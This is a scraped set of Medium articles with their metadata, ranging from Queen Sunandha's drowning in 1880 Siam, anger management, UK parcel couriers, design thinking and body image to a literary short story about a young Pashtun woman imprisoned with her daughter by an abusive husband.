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She Drowned Because Law Forbade Touching a Royal | The kings in Siam (Thailand’s former name) typically had huge harems of wives and concubines and so, they tended to have dozens of children to ensure an eligible male heir to the throne. Likewise, King Chulalongkorn of Siam had his own harem with 92 consorts.
Princess Sunandha married the king and became the queen consort. It means that she held all of the formal titles as the king but did not possess political or military power. She was moreover his favourite.
King Chulalongkorn is famously known for introducing progressive reforms within the Siamese kingdom. He also ensured the independence of Siam when it was surrounded by European colonies. People lovingly called him Phra Piya Maharat meaning ‘the Great Beloved King’.
However, the queen is remembered to this day for her senseless death that could have been easily prevented if it were not for the thoughtless Royal believes that shaped the laws.
The Tragic Death That Could Have Been Prevented
In May 1880, when Queen Sunnadha was 19 years old, having a two-year-old daughter and an unborn child, she went on a trip to visit the Royal family’s summer residence in Bang Pa-In, outside of Bangkok. The trip involved sailing across the river Chao Phraya.
However, her small boat was tied to a bigger boat to carry them across the river. The queen was accompanied by her daughter, Princess Karnabhorn Bejraratana on the smaller boat while a group of guards and servants on the larger boat. This was done to separate the royals and the non-royals because of the huge status gap.
On their way over the river Chao Phraya to the summer house, the royal vessel capsized in strong water currents and both, the queen and the princess were thrown into the water. And none of the guards or servants rescued them, instead, they just witnessed the horrifying event with hands on their hearts.
Royal Superstitions and Laws
The Royal Siamese law of no-touch was of course due to the status gap between the Royals and the ordinary. But unlike today’s British royal law where the law prohibits unnecessary touching, the Siamese law forbade touching completely, even if it was to save your life.
This is why the main guard on the boat ordered everyone to not save the innocent life of the royals because breaking the law was punishable with death.
However, apart from the usually considered no-touch rule myth regarding death, there is a superstition that might have been followed.
The superstition was that saving a person who was drowning by misfortune meant meddling with the water spirits. It might anger them.
The Royal Funeral | https://historyofyesterday.com/she-drowned-because-law-forbade-touching-a-royal-5833ed776e9f | ['Aima Tariq'] | 2021-07-15 08:02:44.789000+00:00 | ['History', 'Women', 'Death', 'Culture', 'Thailand'] |
futuramb: | futuramb:
Is Printing A Gun The Same As Buying A Gun? | TechCrunch
The fact that we are now able to manufacture usable weapon parts is an important step in the evolution of fabrication and manufacture and, if I were a weapons giant, I’d start rethinking my sales strategies. When a company of rebels can print their own AK-47s (a concept that is still a ways off), whose fault is it? The person who made the plans? The fabricator? The company whose rifles they copied?
This is another aspect that is changed by the emergence of 3D printing: What constitutes a specific artifact? The idea and knowledge about how produce the artifact? The (3D?) image of the artifact, which can be used to produce the artifact? The drawing of the artifact? When the line between the image of an artifact and the artifact itself is becoming blurred by the ease of which one can be transformed to the other, we are heading into a world of deep conceptual problems where e g many laws must be rethought from the bottom up. Welcome to the future! | https://medium.com/@stoweboyd/futuramb-b0cfa74ada6 | ['Stowe Boyd'] | 2016-05-11 19:25:49.923000+00:00 | ['3D Printing', 'Guns'] |
How To Control Your Anger, So You Don’t Misbehave | When you often fume when someone does something little for you or when someone steps on your toe publicly, you insulted the person, you may be having anger issues.
It’s normal to be angry; every human has a point or another being angry in their life; we get mad almost every day.
Even as anger is a normal emotion, when it’s too much and comes quickly and often, you may want to learn how to control it.
In this article, I’ll teach you how to control your anger, so you don’t misbehave.
1. Don’t just speak; think before you do.
It can be very tempting to speak when you’re burning with anger. Most times, you may say words you wouldn’t usually. Whenever you are angry, calm yourself down, control yourself before speaking, so you wouldn’t say things that would haunt you later.
2. If possible, only speak when the anger decreases:
You can only try talking when your anger subsides. This way, you would talk as calmly as possible and wouldn’t say what you shouldn’t. You shouldn’t speak in a way that might also provoke anger from the listener. You should talk like you would if you weren’t angry.
3. Take a break:
Someone you’re having issues with might do or say things that are annoying to you, and you may not be able to control yourself. Kindly excuse yourself from such a person. And Go to a quiet area or listen to music to calm you down.
4. Grudges pile up, so don’t keep them:
You may do little things to people, and they unleash a wave of massive anger on you, and you start to wonder if what you did warrant that much anger. Most times, they might have been tolerating you, but they couldn’t anymore, so they had to voice out.
Don’t keep grudges, when someone offends you, walk up to them and let them know, so it doesn’t pile up in you, and you unleash it when they do something little to you. | https://medium.com/@taiwoalade/how-to-control-your-anger-so-you-dont-misbehave-de275abfa9b5 | ['Taiwo Oluwapelumi Alade'] | 2021-02-10 23:02:34.254000+00:00 | ['Anger', 'Anger Management', 'Humanity', 'Angry', 'Self Control'] |
Does the Choice in Parcel Delivery Company Make a Difference? | The United Kingdom is the world’s third-largest e-commerce market with internet retail sales demonstrating a continuous increase over the last decade.
This means that there are a large number and an ever-increasing number of parcels needing to be delivered.
When the business of e-commerce is viewed from this aspect the question about the choice of parcel delivery companies definitely does make a difference.
Addressing this question around parcel delivery companies depends on your perspective; Customer or Retailer.
In the United Kingdom parcel delivery services do a number of things tremendously well and provide excellent services, such as giving the customer choices for specific time slots and making changes to the delivery whilst it is in transit.
Customers are able to provide detailed instructions for the delivery of parcels; picked up from a neighbour, collected at a retail store and under current circumstances have the parcel placed in the boot of their car.
The benefits of selling products in the UK with these types of parcel delivery services means that those selling the product work closely with their parcel delivery company to ensure that customers delivery expectations are met.
It can therefore be extremely beneficial to have a local sales consultant in the UK to provide support for this aspect of the sales process.
In 2019 a survey of customers showed that the Royal Mail is the preferred delivery company by over 50% of customers.
An alternative perspective on the preferred delivery company can be seen through an annual poll conducted by MoneySavingExpert.com; the most recent, 2020, poll placed Royal Mail as the third most popular with DPD and CollectPlus as the joint top parcel delivery company from the perspective of its customers.
CollectPlus moved up from 5th place in 2019. DPD has continuously been selected as the top parcel delivery firm for the last seven years.
These 2020 results show that preference is not necessarily stagnant, customers change preferences but at the same time some things stay the same.
Now although this provides some interesting insights it does not provide a clear answer.
The other side of the delivery coin is the Retailer and although the 2019 survey showed the popularity of Royal Mail as a delivery company it is the second most preferred delivery option for retailers, with the Hermes Group being the most popular option for retailers.
There is some overlap between the preferences of Customers and Retailers perhaps a third viewpoint could assist.
The Chartered Institute of Logistics and Transport put together a list of the top 30 logistics and service providers in the UK. This list is created by assessing the financials, performance, accreditation, the gender pay gap and human resource factors of the delivery companies. According to this list the DPD Group is on top followed by DHL Supply Chain and then UPS.
As 2020 unfolds Retailers will need to look at the requirements of Customers and Parcel Delivery Companies; Customers for more online products, safer delivery options and quicker delivery including same day delivery and Parcel Delivery Companies for safe working environments and more efficient work processes.
By having a sales and marketing consultancy firm in the UK companies have a higher chance of being aware of these issues surrounding customer and delivery companies’ requirements, which means that products will reach happier customers through safe channels resulting in better sales and increased profit.
So, it depends not only on your perspective but also your criteria for answering this question.
If the customer is always right, then at least 50% of UK customers want Royal Mail and you have your answer. However, ultimately customers want their parcels delivered safely, quickly and quite often free. | https://medium.com/@kemalsidar/does-the-choice-in-parcel-delivery-company-make-a-difference-9e94e80868c6 | ['Kemal Sidar'] | 2020-12-23 10:53:36.847000+00:00 | ['Retail', 'Ecommerce', 'Marketing', 'Sales', 'Amazon'] |
Power-Steering Your Advent to Destiny | No matter if you celebrate Christmas, Hanukah and/or Kwanzaa, you notice the signs of change around us indicate that a new day has begun. I don’t mean from a spooky, Sci-Fi standpoint. Here, I speak of the Advent in reference to “new beginnings” and “fresh air”. Putting religiosity aside, 2020 has been a year of unexpected challenges, uncovering possibilities and the undone normal that we once knew. These are not limited to a global pandemic, the end of a political dynasty and the shift from traditional to virtual socialization.
It is quite interesting and even paradoxical that we will soon be closing out 2020. Many of us thought of “20/20” — equal vision, proportionate eyesight or a leveled cycle of karma. Yes, the year brought a new perspective on how we view and value our families, lives, jobs, and relationships. If you are anything like me, I envisioned that this year would go a certain way. Some of my friendships ended, unplanned detours presented themselves, and one toxic relationship ended while I entered into a more excitable and romantic one.
One of my favorite liturgical seasons is Advent. Advent, which began on November 30 and ends on December 24, emphasizes the call to prepare the reception of the Messiah — the Anointed One. The call to preparation constitutes bearing gifts of gratitude, cherishing the birth and reflecting on where, why and how of we all can experience new life in Christ. Without being super-religious, an advent of any kind anticipates the arrival or coming of someone or something. This term prompts an illustration I would like to employ, to which many of us can relate.
Air Travel. Although the CDC and other federal guidelines insist a more virtual style of gathering during this year’s holiday season, Americans have become rogue and stubborn in taking flight in the wintry skies. Granted, the lines will probably not be as long as usual; those of us who value convenience book airfare online so that the check-in process is quick seamless. In enough or too much time, others will await their turn at the counter for the next available window agent.
Once ticketing and baggage checks have been completed, there’s the area where everyone waits the longest: the security checkpoint. This part makes some of us uncomfortable as the TSA has meticulous security measures and procedures. Thanks to technology, wands are almost obsolete and pat-downs are the extreme last resort. Then, the terminal and airport concourses are the ‘oysters’ to explore until departure!
Fast-forward: We arrive to our selected destination! Whew — that was an adventure, whether pleasant or turbulent. Now, we have to get to the ultimate destination. Based on that analogy, I propose that consider that we indulge in focusing on a roadmap of reflection on life:
STEP 1: Determine how you are getting to your ultimate destination.
How do you plan to arrive to your ultimate destination? Start with writing a life road map. Create a vision board. Draft a game plan. It is not enough to dream of the destination, but it takes working the plan to bring the vision to past. Build a network of like-minded individuals who can help you in the manifestation of the vision. Figure out if you are ‘steering the wheel’ or if you will allow others to do it.
STEP 2: Calculate the cost of travel from the “connecting point”.
What are you willing to pay for it? For example, the “connecting point” contains paths to certification, educational advancements and job opportunities. Research eligible sources to fund your vision. Knowing the cost is vital to shifting us in the direction of our life’s sole purpose. Bridging the relationship between the “connecting point” and the ultimate destination determines the life or death of a dream or vision.
STEP 3: Identify who needs to accompany you during the trip.
Who’s traveling with you? Evaluate your inner circle. If you are the most dynamic, smart person in your circle, it’s time to part ways. Seek out experts and mentors to help encourage and guide you on your journey. Connect with individuals currently in the field you desire to pursue. The circle you dwell with determines the likelihood that you will reach your goals and achieve your purpose. Those who travel with you should either: a) recommend a more time-efficient, energy-saving route or b) warn you of safety precautions that lie ahead. Everyone who wants to ride with you does not deserve to do so.
STEP 4: Remove unnecessary baggage.
What do you need to release from your possession? “Dead weight” will not propel us into our purpose. Just as baggage affects the vehicle’s trajectory, traveling to the ultimate destination is impacted if we are mentally drained and inundated with multiple agendas, motives and priorities. Unnecessary baggage can be the root cause of an accident. When unaddressed, needless baggage creates further damage and can intensify previous trauma.
STEP 5: Stay focused on the road.
How badly do you want to arrive to your ultimate destination? The authority of the wheel is in your hands. The power-steering of your vision depends greatly on how well your discernment operates. You possess the keys to your own vision — which route you will take, how much interpersonal and individual energy it will require from you. Let wisdom be your guide and allow destiny to be your inspiration.
In the next season of destiny, the road ahead is not impeccable or fraught with challenges. We must embrace it in its fullness. How we engage the journey will produce fulfillment, prosperity and success within us. Bon voyage! | https://medium.com/@kevinjdaniels89/power-steering-your-own-advent-8fc872e27697 | ['Kevin J. Daniels'] | 2020-12-19 23:22:58.942000+00:00 | ['Motivation', 'Life Lessons', 'Advent', 'Destiny', 'Transformation'] |
Journey of Design Thinking | Journey of Design Thinking
The course started in the mid of August . At first I was not sure what the course was all about and thought it to be something related to creativity . During the beginning of the course , I thought that why is this subject even included in our course .As the time passed by , I began to realize that the course was for solving a problem in the most effective ways . The course was all about identifying and defining what the problem really was then coming up with the proper solutions for it . I thought why would anyone need a course to solve the problems? One can solve a problem just on their own . They do not have to rely on some course to solve a problem . But after few weeks , I realized that the course is really helpful for everyone . From a small company to big , everybody needs design thinking to solve the problems occurring in the most effective way . The advantages of using design thinking is that it includes both the user as well as the company . It links the company to the users . Interviewing , empathizing and getting feedback really helps the company to know what the problem is really about . Then the company can then provide the users with the best solutions .
Talking about my course journey , honestly it was fun attending the design thinking course . There was something new to learn in every new class . I never felt bored while attending the classes . There were many games that we played which probably never bored me . Majority of the work was done in groups , so along with the design thinking course my team building skills were also improving . There were many real life examples shown during the class to help us understand in a better way .
We had two design thinking challenge presentations . We were given different scenarios for different groups where we have to identify the problem , then coming up with the solutions along with the prototype . So from the first design thinking challenge , I learnt about the first step to design thinking was all about defining the problem in the proper way , then only comes the ideating part . Then on design thinking challenge 2 we had the properly defined problem , then the solution along with the prototype .
After the completion of the course , I realized that the course is really important not only in the professional life but also in our personal life . It really does help us to solve the problem in an effective way . Be it professional or personal , design thinking is important in every aspect of life . | https://medium.com/@mukkunakarmi135/journey-of-design-thinking-81eb5a4c84bb | ['Samyak Nakarmi'] | 2020-12-05 18:29:40.744000+00:00 | ['Journey'] |
“This feeling between being free of managing your own projects and the awareness that you can always count on your team, is priceless.” | Before joining ALEA I was working as a freelancer and wasn’t t really considering going back to an office, but at ALEA there are many good reasons that make me love my job! I joined ALEA as an Intern and one thing I liked from the very first moment was that my team was young and smart. What’s more, the company was a mix between a start-up and a corporation, which makes it a challenging environment where you never stop growing.
Part of the team at the SiGMA Affiliate Conference 2018 in Malta.
In only one year I’ve seen an impressive growth due to a broad spectrum of things I do: communications, social media, email marketing, content writing, event planning, design. This feeling between being free of managing your own projects and the awareness that you can always count on your team, is priceless. I also love ALEA’s international and diverse environment: I was born in Venezuela and other than living there, I’ve lived in the US and France, so I really enjoy being part of such a multicultural company. | https://medium.com/evolution-through-struggle/this-feeling-between-being-free-of-managing-your-own-projects-and-the-awareness-that-you-can-e35f7d4eac66 | ['Daniela Carolina González'] | 2019-04-18 11:17:53.490000+00:00 | ['Employees', 'Culture', 'Events'] |
Sheen | I was here. I mean my body was at least, or whatever remained of this battered extra-terrestrial husk anyways; I mean, mentally I was somewhere else. Greener pastures, rolling hills, and smirking cows; I mean I was back home. I was here, and I was home. Home.
A four-lettered word that now, meant something entirely different. A four by four cell. The magic number four; Abbu’s four ‘o’clock news; Moray’s four gold bangles; the four little whiskers decorating my grandmother’s chin; Gul Bano’s four brocade saris, tucked away in some forgotten part of her dowry suitcase; the four little freckles imprinted on my wrist by the Great Maker himself. Four. My little Zakia turns four tomorrow. Expelled out of my swelling folds four years ago, unwanted and unloved. She latched onto my finger forcefully, as if to tell me that there’s no going back now. No going back at all. Only a bleak, pokey enclosure to look forward to forever; or whatever remained of our cursory existence anyways.
Named after her great grandmother, the Pashtun lady who was rumoured to have once poisoned ten men for plotting to murder her father over some land disputes, as men do; Zakia was every bit as fierce and as independent as her predecessor. I watched her as she slept peacefully, her chest rising and falling like the gentle ebb of the waves in the sea. I’ve only ever been to the sea once; when Abbu was visiting a distant relative in Karachi. The city itself; an odd amalgamation of stink and commotion; friendly wizened rickshaw drivers, women with hair swishing behind their back, low-slung jeans and the complete and utter lack of fabric on their heads. I was both fascinated and horrified at the same time. I still remember the first time I felt the water creep up to my feet; the sea washing out the sand between my toes as it yawned and stretched out to the endless blue horizon. Bluer than my eyes; blue like Zakia’s. Sheen, the Pashto word for blue. ‘Sheen‘ the Arabic letter ‘ش’.
I never had any formal education, since Moray thought I was better off rolling the dough into the shape of a flattened moon. Soft embers would often lick the edges of my creation; I’d often forget about it and the burnt ends would fall off. Moray was disappointed by my failure in this particular department, whereas Abbu couldn’t care less. Abbu would sit me down, his arms overflowing with books; his bespectacled gaze following each letter carefully, tracing out the foreign letters of a language unknown to himself and those before him. But he was intent on learning English. ‘Bachay, there’s just something about those tall white men, the way they carry themselves. Frightening yet impressive at the same time,’ he would say.
My father, Qismat Khan, was no ordinary man himself. Born in the cradle of a deep valley surrounded by jagged peaks, Qismat Khan’s cries pierced the winter skies in the year of 1959. Qismat, an ironic name for a man plagued by bad luck all his life. Labelled as a heretic for his odd, unfamiliar ways such as choosing to home-school Gul Bano and myself, trotting around clean-shaven in a land where manliness was defined by the length of one’s beard and selling feminine products for a living. My Moray rarely stepped out of the house in case she was recognized, and shamed by the neighbourhood ladies for not knocking some sense into her husband. She started to veil her face and only sauntered outside when the sky would darken.
I did miss Abbu. I missed his dear, wrinkled hands, the lines forming at the corner of eyes, crinkling up whenever he smiled. I missed his deep-bellied raucous laughter, his timed burps, and his broken glasses. His pompous mannerisms, his colonial love affair with the ‘tall-white men’, and his constant banter with Moray: to the point that she would get exasperated and not talk to him for days. I yearned to hear his booming laugh echo and bounce off these brick walls so that I could wrap Zakia, and myself, in its warmth.
Zakia will never know her grandfather. She will never know Moray or her Tror Gul Bano. Gul Bano, the apple of my parents’ eye, the sweetest little darling with curling hair and a dimpled smile; was married off to a local landlord whose only two passions in life were women and whiskey. Sadly, she bore the brunt of it, when he’d come home drunk, swaying side to side and smelling of sweat and musk. The night would often end in a verbal spat and Gul Bano’s body being subjected to almost any weapon within his reach (on good days it was his chappal and on bad days it was the hot iron rod). Gul Bano’s back started to resemble the map of our village, deep ridges etched into her back — a reminder of the price she pays to exist. The last time I saw Gul Bano, she was with a child. Her belly bursting like a ripened apricot, ruddy cheeks, and glistening skin. Her eyes, however, told a different story.
I shook myself free from the memories — as it does not do to dwell on the bygones — and got up to perform the ablution. The word of God was thankfully still fresh on my tongue. I let the dirty water trickle down my arms and legs, three times for each limb as God had desired it. That was the other magic number — Three. It had been three days since we ate any proper food. Our captors were generous enough to slip some bread under the little gap between the filthy floor and the steel railings. But their generosity only extended so far to keep us alive. My little bundle of joy and I, befriending ghosts and mice behind these impenetrable walls. I gave up on the idea of freedom long ago. Death was my freedom. Death was Zakia’s freedom too. Zakia was unperturbed about her surroundings, as this was the only life she had ever known and will know. I sneak a glance at her dear little body, so young and yet so frail as if a whisper itself would topple her over. Her drooping lashes and her heart-shaped face was all hers and hers only. The only thing that set us both apart was that she was many shades darker than I was. No one in my family or extended relatives possessed such golden brilliance, but I knew it was reminiscent of the man who had fathered her.
The thing is when you are shut out from the outside world; when you are stripped of your dignity, your self-respect, and every material shred clinging to your body — all you are left with are memories. Memories that you desperately try to swallow down, but they keep rising at the back of your throat like bile until you are forced to spit it out. The after-taste is always bad, always lingering until the next day. The process is exhaustive but it continues. Whatever it is, the memory of that night continually haunts me. The peals of laughter. The smell of mehndi on my feet. The soft beating of the drum; my mother glassy-eyed and sniffing; my father looking self-important and — Him. Everything blurred and faded into the background when he walked in. Not at all young and gangly, this was a shrivelled face with a permanent scowl etched onto it. A towering conifer among a sea of neem trees. I looked towards Abbu with some confusion and all I got was a pained expression. Gul Bano was weeping and painting my lips with her pinkie. I realized at once that I had been sold. They called it a ‘business transaction’ in English, I remembered from one of the many lectures with Abbu.
My prince charming was a balding man of seventy. He was not seventeen, as the tales Moray had regaled me with. He was not handsome, and most of all, he did not look happy. ‘Keep your eyes lowered, you common whore’ were the first words he blessed our union with. After that, all I remember was seeing red. I remember thinking shamefully, that The Great Maker had probably seen it all and Moray’s word echoed into my ears, ‘A dutiful wife is always yielding, always agreeable no matter what. That was the way of your grandmother and her grandmother, and that will be your way too.’ I never understood why Abbu sold me. Was it pressure from the village elders or was his business in trouble? How much was I promised for? How much was I worth? A few hundred rupees? Maybe a thousand? I will never know. Our staunch traditional laws prevent us from questioning. No matter how dear Gul Bano and I were to Abbu and Moray; no matter how dear any daughter of this stern valley is to her family, the day of her betrothal is the day when she dies. My marriage to Shahbaz Khan was the day I died.
I hear a groaning sound and turn immediately to my right, to see Zakia waking. “Moray? Moray are you there?”
“Yes, my dear, I am here.” I wipe the tears from the corners of her eyes, which are threatening to spill. I wash her face and wet her hair with the pail of water left here by Shahbaz Khan’s men while reciting incantations that I remember from Moray’s dusty old copy of Quran. Gul Bano and I used to giggle while rolling the unfamiliar Arabic words in our mouths; Abbu’s perplexity at the barrage of questioning which ensued after reading, and Moray’s disapproving looks. God, according to her, was a malevolent being that was to be respected out of fear, at all times. We were not allowed to go and play with our friends outside until each of us recited the entirety of the Ayat-ul-Kursi (The Throne Verse) and the four ‘Quls’ to her. Moray was all about tough love; girls should cover their bodies with a chador, girls shouldn’t be too loud, girls should be homely and feminine, etc. But we never held it against her. Underneath that rock-solid exterior was someone who only feared for her daughters’ futures amidst these harsh landscapes. Too bad, since one turned out to become a punching bag for her husband, and the other ended up behind bars — for birthing a daughter.
He made it clear since day one, that he wanted a boy. I was four months pregnant then, but it didn’t show. What did show, however, were the reddened wrists and the purple bruise forming near one of my eyelids. “My Lord,” this is how he liked me to address him, “This is not in my hands, only the Almighty can choose to bless my belly with whatever he likes — male or female.” It was one of those rare instances where I spoke up and ended up regretting it severely. I still remember his hands encircled around my neck, his breath heavy upon my face; “Know this and know now slut,” this was how he liked to address me. “If you bring me anything less than a boy, I will skin you alive and throw you to the dogs!” He flung me towards the wall and stomped out of the room. I remember silently weeping and falling into prayer, begging to The Great-Maker to grant me a son. The day I went into labour, felt like the day of Reckoning itself. Female anatomy was beyond me, and all I knew was that some village doctor was yanking a child out of my body. It felt sort of like the exorcisms you’d hear about. Removing the jinni from someone’s body. Zakia’s birth felt exactly like that. An exorcism.
I hated her at first sight. I felt like The Great-Maker was playing a practical joke on me. Maybe the angels in heaven were laughing too. I wanted to throw her into the flowing streams nearby and forget that she ever existed. I could tell Shahbaz Khan that the baby was stillborn. Yes, I could do that. No one would know except the maids who I’d pay in my wedding gold to keep mum about it, and the doctor herself. No one. Except that, when the baby opened her eyes and cooed at me, all my defences, all my fears melted away. Here was a being that I created. Her incompetent father was only a donor, but I housed her for nine-months in my belly. I felt her kicking in my stomach at the odd hours of the night. I was immensely proud of myself for doing such a good job, but I worried about her too. Zakia’s nose was exactly like mine, it would grow into a pointed hooked nose much like the maternal side of her family. Her hair was a mousey shade of brown, wispy curls springing from her small head. Her skin was like Shahbaz Khan’s — deep tan. The only thing that would ever distinguish her from me.
“Moray, I am hungry. Can’t we eat something besides stale bread and water today? I want daal!”
Interrupted from my reverie, I broke off a piece of old bread and handed it to her. “Eat up child, daal is only on Sundays, remember?” I was lying. I didn’t know if it was on Sundays, Wednesdays, or any days at all. The last time Shahbaz Khan felt nice enough to slip some leftovers was probably a month ago. Time is a luxury which those behind bars do not possess. Time is defined by hours here, in solitary confinement. How many hours had it been since we had been thrown into this dark room? Since Zakia was four months old. I tried counting on my fingers but failed. Abbu’s educational methods never extended all the way to mathematics, so I could only count the rupee notes. That too, only came in handy when buying sweets for Eid from the local grocery shop. In Zakia’s world, grocery shops are a thing of fables. I allowed myself some wishful thinking and wondered if we were to ever escape this hell-hole, how I would introduce Zakia to things she had never experienced or seen. First up, the gushing streams. The icy-cold glacial remains, flowing down from the highest peaks, snaking their way into the ditches and wells near the village. I would make her drink Coca-Cola, the nectar of the capitalist gods residing in the big city. I would show her chukars that frequent Zuleika’s courtyard; the smell of the damp earth after a heavy shower; the rose orchid after the spring equinox, and most of all — I would take her home and introduce her to Abbu and Moray.
But would they want me back at all? After I had brought shame to the family honour by falling in love, while on the run? Yes, love. The very emotion that sweeps us off our feet, lifts us into the clouds and leaves us suspended there. Coming down is the hardest part. Escaping with Zakia in tow was easy. Getting mauled by a village dog (probably one of Shahbaz Khan’s) was easy. Surviving by eating leaves and sipping water for nourishment, was easy. Sleeping in deep trenches and staying out of danger’s way was easy. Throwing Shahbaz Khan’s men off the scent was easy. Falling in love was not.
I never saw it coming. It was a short, but sweet affair. Love was unheard of in our village; the concept of love-based marriages was alien, deplorable. Moray was too shy to explain the idea of love to us, Abbu too distant. Zuleika was our only source of information on this taboo subject, because of all the dramas and Bollywood movies she watched on TV. Heroines fainting into the arms of their lovers, damsels in distress being rescued by handsome, chivalrous men, and the occasional, sinful peck on the lips. She explained all of this to Gul Bano, who in turn explained it to me. I was shocked at first, horrified at my tender age of twelve that such a thing could exist. “Moray, are you and Abbu lovers?” Moray looked at me with reddening cheeks and an angry gaze, “Who is filling your mind with such evil, unislamic ideas?” She twisted my arm until I was forced to blurt out the truth. “It was Zuleika! Zuleika told Gul Bano and she told me! She says she saw it on the TV.” Moray let go of my arm, “Don’t you dare ask me such despicable questions ever! Love!” she scoffed. “You are too young and too innocent to know such things, I will give Gul Sanga a good talking to and tell her to go and take care of her corrupted daughter. Love indeed! Huh!”
I heeded Moray’s advice all my life. I steered clear of it, married a seventy-year-old tyrant, got pregnant, gave birth, and ran away from home. Going by this logic, nothing should come hurtling my way then, right? Wrong. I had been wrong for most of my life, and I was wrong once again. He saw me by the stream, cupping my hands and quenching my thirst. At first, he made a sound as if to clear his throat. Quickly remembering my Moray, I jumped to drape my chador around my head and cover my face. I grabbed Zakia and stood at a great distance from him. “If you touch me or my child, I swear by Allah, I will scream.” Using Allah’s name as a defensive stance worked quite well most of the times — people would often be reminded of their sins at the very moment, and stop what they were/would be doing in order to avoid pissing off the Lord of the Worlds. Instead, this man just smiled at me. It was a nice smile, but I wasn’t used to nice things so I viewed him with suspicion. “Relax, lady, I am not going to harm you. I am just passing by your village to visit my folks. What are you doing here out in the open field, with no man by your side? Where is your husband?” I told him that for someone who is “just passing by” he asked a lot of questions. He laughed and I couldn’t help but notice that it was just like Abbu’s laugh — deep guffaws brimming with warmth. He looked no more than in his mid-twenties, dark brown hair, and grey eyes. He had this kindness about him that I had never witnessed while living with Shahbaz Khan. To think that there were other men besides my Abbu who were capable of being nice was disconcerting to me.
His name was Rasul Shah. He was the grocer’s nephew, the one we used to go to collect our Eid candy from. He took us under his wing and helped us flee the village. We escaped to his town, where we stayed with his sister and grandmother ‘Nazo’. He was a proper gentleman: always keeping us at an arm’s length out of respect for his chastity, and mine. Chastity was an ephemeral concept in my case. Here I was; a victim of marital rape, pregnant with my husband’s child, yet living with strange women related to a strange man I met off the road. I was too trusting, but this time for all the right reasons. I remembered those four months as the happiest ones of my life. I watched Zakia’s cheeks grow ruddy and her body become stronger on a fresh diet of milk and mushy fruits. My own skin took up on a surreal glow and my eyes started to twinkle again. His grandmother and sister became the family I never had — feeding me and telling me stories of their past. It was around that time that Rasul started making good money out of his trade and asked me to marry him once I got a Khula from Shahbaz Khan.
Khula. Divorce. Once again, a subject that was never spoken of within my own community, yet here Rasul Shah was asking me to proceed with one. It was like cutting off my own head and presenting it to Shahbaz Khan on a silver tray. “You will make a beautiful bride to my handsome grandson,” Nazo would often say. She adored Zakia to no end and I knew, that if I were to start my life all over again, it would be here under Rasul Shah’s care, with him by my side. Khula. The word kept ringing in my head, until one night, I decided to get it done with the help of a Qazi that Rasul Shah knew from the city. The Qazi verbally interviewed me from behind the curtain and wrote it all down on an official piece of paper. It looked so much like the nikkah nama I was forced to sign. Rasul Khan was to deliver the document to Shahbaz Khan’s men. I signed it and sent off my soon-to-be lawfully wedded husband with a smile, on a death march.
Nazo was the first one to wake me up screaming. Rasul’s sister came hurtling downstairs banging on my door. Fear crept into my heart as I opened the door with Zakia straddled on my lap. “He left us, my Rasul left us!” Nazo grabbed my face and yelled at me. “They killed him those dogs! They shot him! They shot my Rasul Shah, my beautiful boy!” Huge wracking sobs overtook my body and I felt my soul splitting into two. Zakia looked up at me with confusion etched on her little face. I wailed along with the other two women the entire night. And after the streaks of tears on my cheeks dried up, I made a decision. This was entirely my fault, I put my beloved into harm’s way, and therefore I would have to pay for it. I packed my bags in the dead of the night, and, before leaving, managed to get a glimpse of the faces I had come to love so much in all these months, and then set off. Zakia wrapped around my back, we ventured into the wolf’s den once again.
I don’t know what I expected. Definitely not for Shahabaz Khan to forgive me and take me into his loving arms once again. He would never accept Zakia either. I don’t remember much of the argument except that, it involved him kicking dust into my face and slapping Zakia hard. All I remember after that was this cold darkness. This abyss that I grew accustomed to, that Zakia grew up with. “You and your bastard child will spend the eternity in this room. That will teach you what happens to those who try to betray Shahbaz Khan!” His voice kept echoing long after he left, I heard it too often in my sleep.
I lay my head on the cold, stone floor and brought Zakia closed to me. The Almighty, The Lord of Worlds, The Great-Maker, or whatever names you called him by, was such an enigma. He gave me pain; he gave me hurt; he took my only comfort away. Yet in my arms, was breathing body that resembled me, spoke like me, laughed like me, and was mine in every manner. If death was next in our long list of adventures, I was prepared to accept it. Zakia’s concept of death was non-existent, it made the whole thing easier for us. If dying meant I could meet Rasul once again in the heavens above, Moray and Abbu soon to follow, and even make space for Gul Bano; then death was a family reunion that I could not wait for. | https://hiba-memon.medium.com/sheen-30811d7655bf | ['Hiba Memon'] | 2020-04-11 13:09:44.557000+00:00 | ['Culture', 'Fiction', 'Prison', 'Story', 'Life'] |
Why protecting kid’s body image is a hard sell… | Once upon a time, not so long ago, a whole bunch of scientists realised that smoking cigarettes was really, terribly bad for our health. And even more bad for the health of our youth.
The evidence was in. It was a total no-brainer not to smoke. Social marketing campaigns were given millions to deliver the facts. The assumption was that as soon as people knew what was true about smoking, they would instantly stop.
Not so.
Instead, it took years and years and years to (still only partly) extinguish.
Turns out, human behavior is not really influenced that much by facts. It is far more driven by status.
It took more than thirty years for doctors to consistently wash their hands before surgery, even though the evidence was clear that washing hands lead to greatly reduced fatality rates during surgery.
If the evidence was clear, and the doctors really were interested in saving lives, why on earth did it take so long for hand washing practice in surgery to become commonplace?
Probably for the same reason that cigarette smoking is so hard to stop in teenagers.
Cigarette smoking, thanks to an incredibly powerful marketing history, was (and arguably still is, in some circles) a high-status activity. So is being a surgeon. The very idea that it was the surgeon herself spreading the germs was a blow to her status. Would people still rever her and trust her if the news got out?
Teenagers, likewise, are deeply invested in ‘looking’ good, perhaps in the same way surgeons are. Indeed, the promise of being cool and ‘in’ is of far greater importance to teenagers than some far-off-in-the-future pain that may or may not be felt.
Doctors back in the day may have had a different type of need to look good — not so much about fitting in with their peers — but being respected and trusted and at the top of the social pecking order. But the mechanism of ignoring evidence and pressing on with the status quo is the same.
And before we feel all high and mighty and like we would be far more rational, it pays to remember that most of us aren’t. We are all social beings and status is important to all of us. I don’t mean that we all are driven by the same status. I don’t care much about driving a fancy car. But I do hold highly educated people in high esteem. I only refer my clients to HAES trained eating disorder therapists. That’s a status I regard highly.
The point here is not too bad mouth people who are driven by status (because, in fact, we all are) but to highlight the way humans work and if we are deeply invested in bringing what we know to be true (we have the evidence) to the world, banging on about facts alone is not going to cause much change.
So what to do instead? Our job is to raise the status of those who are in line with the evidence, not against it.
When smoking became expensive and a little shameful, the tide started to turn. People who didn’t want to be short on cash, or look like a dork (both based on status), started to give up. Not necessarily because of the ‘health’ impacts, or the evidence that it was bad, but because of the ‘social’ impacts.
If you’re reading this, you’re probably invested in kids growing up with better body image than they currently do. You’re probably aware of the HAES movement. You’ll know that living in a larger body comes with terrible social injustice. And perhaps most importantly, you’ll be all over the evidence.
